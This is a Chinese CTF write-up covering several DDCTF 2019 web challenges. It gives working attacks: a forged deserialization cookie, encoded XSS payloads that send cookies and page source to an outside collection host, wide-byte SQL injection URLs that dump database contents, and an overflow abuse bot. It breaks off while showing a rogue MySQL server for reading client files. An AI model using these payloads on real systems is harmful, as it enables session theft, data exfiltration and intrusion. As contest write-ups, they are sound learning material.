2019DDCTF线上WriteUp——WEB部分

在下一只Web狗,不多说,直接上Write Up


WEB

滴~


这题主要是任意文件读取
进入题目发现 URL 有一串base64,进行两次解密


两次解密后发现是个HEX字符串,继续在线解密

发现是flag.jpg
那如果我们把index.php进行加密然后丢回去会怎么样,这里直接写个脚本吧

import base64
import requests

s = 'index.php'

jpg = base64.b64encode(base64.b64encode("".join("{:02x}".format(ord(c)) for c in s).encode('utf-8'))).decode('utf-8')

r = requests.get('http://117.51.150.246/index.php', params={'jpg': jpg})

print(r.url)
print(r.text)

跑完发现是一段base64,解密发现是index.php源码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

看到头上注释了一个博客,进去看看
发现有这么一篇文章(PS:这个出题人和博客主串通好的吧)

发现有这么一个文件名

访问一下就出来了

但如果要读取这个文件,直接读取的话感叹号会被过滤。想输入感叹号得用上前面的规则,也就是 config 被替换为感叹号。


发现文件源码如下

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

有变量覆盖,那么就让 uid 和 k 这个变量里的 URL所指向的内容一致 就行了,这里我偷懒直接在我自己的服务器上传了个文件1.txt为a。
然后访问 /f1ag!ddctf.php?uid=a&k=http://xxx.com/1.txt
拿到flag


WEB签到题

进入题目看下源码,发现 js/index.js 有点意思,说明它请求了 /app/Auth.php 这个地址。还带上了 didictf_username 这个头。

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

那么我们就带上 didictf_username = admin 这个头访问这个地址试试。

访问 app/fL2XID2i0Cdh.php,获得两个文件源码。

先带 Header 访问一下 /app/Session.php,获取到 ddctf_id 这个 Cookie。

审计源码,发现我们先获取 eancrykey 试试比较合适。 nickname 传 %s,第二次 format 的时候就会把 eancrykey 给格式化上了。

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

然后构造 POST 请求。记住带上 Header。然后就可以获取到 eancrykey 了。

然后继续审计源码,发现有对输入反序列化。

unserialize($session);

再来看看刚才拿到的 ctf_id,发现里面是序列化后的结果。这个就是 Session 对象了。

再来看 Application 对象的源码,里面的析构方法会在对象销毁时检查 path 这个成员变量,长度为 18 就会读取 path 所指向的那个文件。又根据下面的源码推测 flag 在 ../config/flag.txt。

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

那么我们就把它的源码拷下来,用它的源码和 eancrykey 给自己序列化之后的对象签名了。同时注意 path 这个变量,由于对 ../ 有过滤,path 我们得写成 …/./config/flag.txt 来绕过过滤。

<?php
Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }

    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            echo "\n".strlen($path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
}

class Session extends Application {
    var $path = '..././config/flag.txt';

    //key建议为8位字符串
    var $eancrykey                  = 'EzblrbNS';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";
    var $session_id  = 'e989f2486e618ad5fa6d5e732acaa589';
    var $ip_address =  '116.136.20.161';
    var $user_agent = '';
    var $user_data = '';

    public function index()
    {
        if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
            return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);

        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    public function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = $this;

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );

        return $cookiedata;

    }
}

$ddctf = new Session();
echo $ddctf->session_create();

运行这个脚本,得到序列化之后的对象。

放到 UrlEncode Encode 一下。

置 Cookie,请求。

得到flag


Upload-IMG

打开题目,发现是个文件上传
传个东西上去
上传之后,发现提示 “[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()”,并且还返回了上传之后图片的地址。

那么我们就把我们上传之后的图片下载回来看看吧。下载之后用 hex 编辑器打开。发现开头这儿指明了其是 php-gd 带着 libjpeg 转换的。

比较一下原图片和现在的图片,似乎有很多不同。

那么我们把下载下来的图片再传回去呢?
啊哈,这一把前面倒是蛮多相同的地方了。

那么我们就往里面相同的部分替换 “phpinfo()” (9字节)试试。

不断 fuzz 插入的位置,发现插入这里可以。

flag到手


homebrew event loop

进入题目,打开第一个链接,进行代码审计

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66147e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 

def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 

class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 

@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 

        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 

        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 

        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 

def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 

def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 

def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 

def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 

if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

大概的流程是这样

访问–>获取参数–>trigger_event 执行–>返回

那么仔细阅读源码,发现 execute_event_loop 这个方法里有个 eval。

event_handler = eval(action + ('_handler' if is_action else '_function'))
那么我们就来传个 # 在地址里试试,但注意,我们要传 %23,这样才不会被浏览器过滤。

这样看可能不清楚,我们本地开个服务器看看,同时把下面这一行注释去掉。

resp += str(e) # only for debugging

看,成功截断了。

那么我们继续来分析,发现参数会被转换为 list。
args = get_mid_str(event, action+';').split('#')
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
ython 调用的时候传入的参数个数必须小于函数能接受的参数的个数,这里那么来看看有哪些方法可以接受 list 作为参数。除了下面的一堆 handler 和 function 之外,还有上面的 trigger_event。

同时,buy_handler 和 consume_point_function 分别代表购买和扣点,两者并不是原子的。同时 get_flag_handler 这里说明当线程里的钻石大于 5 个时就会带着 FLAG() 方法去触发 show_flag。

同时,在 session 里有 log,记录最近的五个 log,而且出错时不会被回滚。

那么我们就从 trigger_event 入手吧。当然,在此之前我们先正常的买三个钻石。

然后访问 /d5af31f66147e857/?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

这里就是利用 trigger_event 这个方法,依次执行 buy_handler 两次,然后 get_flag_handler。由于 buy 和 consume 不具有原子性,我们可以利用这个特性在钻石数达到 5 的时候调用一下 get_flag_handler,触发 log 来获取一下 Flag。

然后用 Flask-Unsign 解码 Cookie 看看。

工具:https://github.com/Paradoxis/Flask-Unsign

注意 func:show_flag;3v41**** ,这里就是 flag 了~


欢迎报名DDCTF

上题目看见是个报名界面

看到这种页面,我们就手痒想提交点东西上去,先提交个图片试试水吧。

然后我们到XSS 平台上面看看,收到了一大堆请求。

主要有两种请求,一个个看吧。第一个是靶机发出来的,似乎暂时用不到,放着。

第二个就有意思了,是个 hint。

那我们就打开这里面提到的链接看看吧。

把后面的 hint.php 去掉,看看是啥。

这东西眼熟啊,XSS一下

不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”waf“,里面的所有东西和外面的括号都得转个码,那就用 HTML Markup 来转吧。

HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html

写了个 Python 小脚本来生成 payload:

in_str = "(function(){(new Image()).src='http://xss.zhaoj.in/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

这样得到的 payload 就如下:

<svg><script>eval&#40&#34&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#40&#110&#101&#119&#32&#73&#109&#97&#103&#101&#40&#41&#41&#46&#115&#114&#99&#61&#39&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#122&#104&#97&#111&#106&#46&#105&#110&#47&#63&#107&#101&#101&#112&#115&#101&#115&#115&#105&#111&#110&#61&#49&#38&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#116&#111&#112&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#116&#111&#112&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#99&#111&#111&#107&#105&#101&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#111&#112&#101&#110&#101&#114&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#40&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#38&#38&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#41&#63&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#58&#39&#39&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#59&#125&#41&#40&#41&#59&#34&#41</script>

打上去,发现可以正常执行。

然后我们再反馈给这个站点的管理员试试。

然后写个脚本跑验证码

import string, hashlib

a = string.digits + string.lowercase + string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s = hashlib.md5(i + j + k + m).hexdigest()[0:6]
                if s == "373fa1":
                    print(i + j + k + m)
                    break

然后提交上去,收 XSS 看看。

收到东西了,不过这 Flag 没啥用,假 Flag。

再回到报名平台,用这个 payload 去打下这个报名平台吧。

收到的 XSS 似乎和之前差不多。

那我们再来上个读取页面源码的 payload 如下,当然也得转码。

xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');
in_str = "xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")
<svg><script>eval&#40&#34&#120&#109&#108&#104&#116&#116&#112&#61&#110&#101&#119&#32&#88&#77&#76&#72&#116&#116&#112&#82&#101&#113&#117&#101&#115&#116&#40&#41&#59&#120&#109&#108&#104&#116&#116&#112&#46&#111&#110&#114&#101&#97&#100&#121&#115&#116&#97&#116&#101&#99&#104&#97&#110&#103&#101&#61&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#105&#102&#40&#120&#109&#108&#104&#116&#116&#112&#46&#114&#101&#97&#100&#121&#83&#116&#97&#116&#101&#61&#61&#52&#41&#123&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#61&#39&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#122&#104&#97&#111&#106&#46&#105&#110&#47&#63&#39&#43&#101&#115&#99&#97&#112&#101&#40&#120&#109&#108&#104&#116&#116&#112&#46&#114&#101&#115&#112&#111&#110&#115&#101&#84&#101&#120&#116&#41&#59&#125&#125&#59&#120&#109&#108&#104&#116&#116&#112&#46&#111&#112&#101&#110&#40&#39&#71&#69&#84&#39&#44&#39&#47&#90&#101&#48&#50&#112&#81&#89&#76&#102&#53&#103&#71&#78&#121&#77&#110&#47&#97&#100&#109&#105&#110&#46&#112&#104&#112&#39&#44&#116&#114&#117&#101&#41&#59&#120&#109&#108&#104&#116&#116&#112&#46&#115&#101&#110&#100&#40&#39&#39&#41&#59&#34&#41</script>

打上去。收 XSS,解个码看看。

<!DOCTYPE_html> <html_lang="en"> <head> <meta_charset="UTF-8"> <!--每隔30秒自动刷新--> <meta_http-equiv="refresh"_content="30"> <title>DDCTF报名列表</title> </head> <body> <table__align="center"_> <thead> <tr> <th>姓名</th> <th>昵称</th> <th>备注</th> <th>时间</th> </tr> </thead> <tbody> <!--_列表循环展示_--> <tr> <td> <a_target="_blank"__href="index_php">报名</a> </td> </tr> <!--_<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh_php">_接口_</a>--> </tbody> </table> </body> </html>

里面有个被注释起来的“接口”链接特别有意思,我们还原其地址为 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php。访问,提示需要参数 id。

那么就传个 id 上去试试,不报上面的错了,但似乎还是不行。

推测此处有注入点,不断 fuzz。发现用

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.phpid=-1%aa%27or%201%20union%20select%201,2,3,4,5%23

能返回数据。有宽字节注入了。

然后用

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.phpid=-1%aa%27or%201%20union%20select%201,group_concat(schema_name),3,4,5%20from%20information_schema.schemata%23

就可以得到数据库列表。

再来用

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(table_name),3,4,5%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23

进 ctfdb 这个数据库看看有啥表。这里我们用 hex 字串来书写字符串,0x6374666462 就是 ctfdb。

再来用

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_schema=0x6374666462%20and%20table_name=0x6374665f66686d4852504c35%23 

来看看 ctfdb 库里的 ctf_fhmHRPL5 表有啥列。

那我们就用

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(ctf_value),3,4,5%20from%20ctfdb.ctf_fhmHRPL5%23

来读取一下。

flag到手


大吉大利,今晚吃鸡

进入题目,直接注册等,登录

发现得先购买入场券。那就买一个试试,顺带抓抓包。发现其在购买时传了价格作为参数。

多次尝试,发现其只能传数字。fuzz 一下,发现其在 2^32 = 4294967296 时会有溢出,造成无需余额支付就可以购买并成功交易。

那么就来写个 Python 脚本开一堆小号重复上面这个过程了,16 线程走起。

import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

main_session = requests.session()

main_session.get("http://38.106.21.229:5000/ctf/api/login?name=glzjinmiaomiao&password=miaomiao")

mutex = threading.Lock()

def remove_bot(id, ticket):
    global main_session

    print(main_session.get("http://38.106.21.229:5000/ctf/api/get_flag").json())

    print(main_session.get("http://38.106.21.229:5000/ctf/api/remove_robot?id=" + str(id) + "&ticket=" + str(ticket)).json())

def create_bot(index=1):
    s = requests.Session()

    s.get('http://38.106.21.229:5000/ctf/api/register?name=glzjinb4ot' + str(index) + '&password=12345678')

    r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')

    r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])

    return r.json()['data'][0]['your_id'], r.json()['data'][0]['your_ticket']

def create_and_remove(index=1):
    info = create_bot(index)
    remove_bot(info[0], info[1])

pool = ThreadPoolExecutor(max_workers=32)

for i in range(1, 10000):
    pool.submit(create_and_remove, i)

pool.shutdown(True)

慢慢跑出flag


Mysql弱口令

打开题目发现是个扫描器

然后我们就按照他的要求把 agent.py 部署到自己的公网服务器上吧,注意这台服务器上有 Mysql。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))

    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET

def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()

if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

然后扫一下看看,发现提示未扫描到弱口令。

在服务器上 tcpdump 抓个包看看,发现是没密码登录。

那么我们就在服务器的 MySQL 开个没密码的账户。

CREATE USER 'root'@'117.51.147.155' IDENTIFIED BY '';

grant all privileges on *.* to 'root'@'117.51.147.155' IDENTIFIED BY '' with grant option;

再扫描,抓个包看看,发现没什么端倪。页面上返回的东西也没啥用。

然后多方搜索,发现 MySQL 的客户端如果开了 local infile 的话就服务器发送特定的命令就可以读取到客户端的文件。

参考资料:http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

那么就来自己整个恶意服务器来读这扫描器的文件吧。

首先把服务器上的 MySQL 关了。

systemctl stop mysqld

然后修改一下 agent.py,让扫描器以为我们一直开着 MySQL.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    :
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("UA :", self.headers.getheaders('user-agent'))
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(404)
        self.send_header("Set-Cookie", "foo=flag")
        self.end_headers()

        result = self._func()

        return_str = "mysqld"

        self.wfile.write(return_str)

        # self.wfile.write(json.dumps(result))

    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(404)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()

        return_str = "mysqld"

        self.wfile.write(return_str)

        # self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET

def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()

if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

然后放上根据上面那篇参考资料改了改的恶意 MySQL 服务器。

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
